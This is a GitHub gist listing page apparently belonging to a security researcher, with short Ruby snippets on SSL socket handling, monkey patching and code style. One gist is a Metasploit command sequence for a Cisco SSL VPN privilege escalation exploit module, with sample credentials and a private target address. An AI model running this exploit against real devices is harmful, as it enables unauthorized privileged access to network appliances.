Skip to content

Instantly share code, notes, and snippets.

Avatar
🦬

Jonathan Claudius claudijd

🦬
View GitHub Profile
@claudijd
claudijd / ssl_helper.rb
Created Feb 4, 2014
Grab SSL Subject Helper
View ssl_helper.rb
require 'socket'
require 'openssl'
module SSLHelpers
class Client
def initialize(host, port)
@host = host
@port = port
end
@claudijd
claudijd / gist:10001072
Created Apr 6, 2014
Default Ruby 2.x OpenSSL Socket Behavior
View gist:10001072
>> require 'socket'
=> true
>> require 'openssl'
=> true
>>
?> sock = TCPSocket.new('10.70.32.104', 443)
=> #<TCPSocket:fd 7>
>> ctx = OpenSSL::SSL::SSLContext.new
=> #<OpenSSL::SSL::SSLContext:0x000001018a5c08 @cert=nil, @key=nil, @client_ca=nil, @ca_file=nil, @ca_path=nil, @timeout=nil, @verify_mode=nil, @verify_depth=nil, @renegotiation_cb=nil, @verify_callback=nil, @options=nil, @cert_store=nil, @extra_chain_cert=nil, @client_cert_cb=nil, @tmp_dh_callback=nil, @session_id_context=nil, @session_get_cb=nil, @session_new_cb=nil, @session_remove_cb=nil, @servername_cb=nil, @npn_protocols=nil, @npn_select_cb=nil>
>> ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx)
@claudijd
claudijd / gist:11378141
Created Apr 28, 2014
Cisco SSL VPN Privilege Escalation MSF Notes
View gist:11378141
load ~/metasploit/plugins/meta_ssh
use exploit/multi/http/cisco_ssl_vpn_priv_esc
set PAYLOAD ssh/metassh_session
set USERNAME jsmith
set PASSWORD jsmith
set GROUP vendor
set RHOST 192.168.101.1
exploit
@claudijd
claudijd / gist:68a36514d4149db1395d
Last active Aug 29, 2015
Ruby Multi-line Conditional Style Example
View gist:68a36514d4149db1395d
if a == 1 &&
b == 2
#do_stuff
end
if a == 1 && b == 2
#do_stuff
end
@claudijd
claudijd / gun.rb
Created Aug 13, 2014
Semi-automatic Gun
View gun.rb
class Gun
def trigger
fire
end
private
def fire
puts "BANG!"
end
end
@claudijd
claudijd / irb_session.txt
Created Aug 13, 2014
Using semi-automatic gun
View irb_session.txt
>> semiautomatic_gun = Gun.new()
=> #<Gun:0x00000102806a80>
>> semiautomatic_gun.trigger
BANG!
@claudijd
claudijd / monkey_patched_gun.rb
Last active Aug 29, 2015
Monkey Patched Gun (3-round bursts)
View monkey_patched_gun.rb
class Gun
def trigger
3.times {fire}
end
end
@claudijd
claudijd / irb_session.txt
Created Aug 13, 2014
Firing Monkey Patched Gun (3-round bursts)
View irb_session.txt
>> require 'monkey_patched_gun'
=> true
>> semiautomatic_gun.trigger
BANG!
BANG!
BANG!
>> semiautomatic_gun.to_s
=> "#<Gun:0x00000102806a80>"
@claudijd
claudijd / brain.rb
Created Aug 13, 2014
Neo's brain before monkey patching
View brain.rb
class Brain
def initialize
@skills = [
"hide",
"run",
]
end
def what_to_do?
@skills[rand(2)]
@claudijd
claudijd / irb_session.txt
Created Aug 13, 2014
Neo's brain before monkey patching
View irb_session.txt
>> require 'brain'
=> true
>> neo_brain = Brain.new()
=> #<Brain:0x0000010218aee0 @skills=["hide", "run"]>
>> neo_brain.what_to_do?
=> "hide"
>> neo_brain.what_to_do?
=> "run"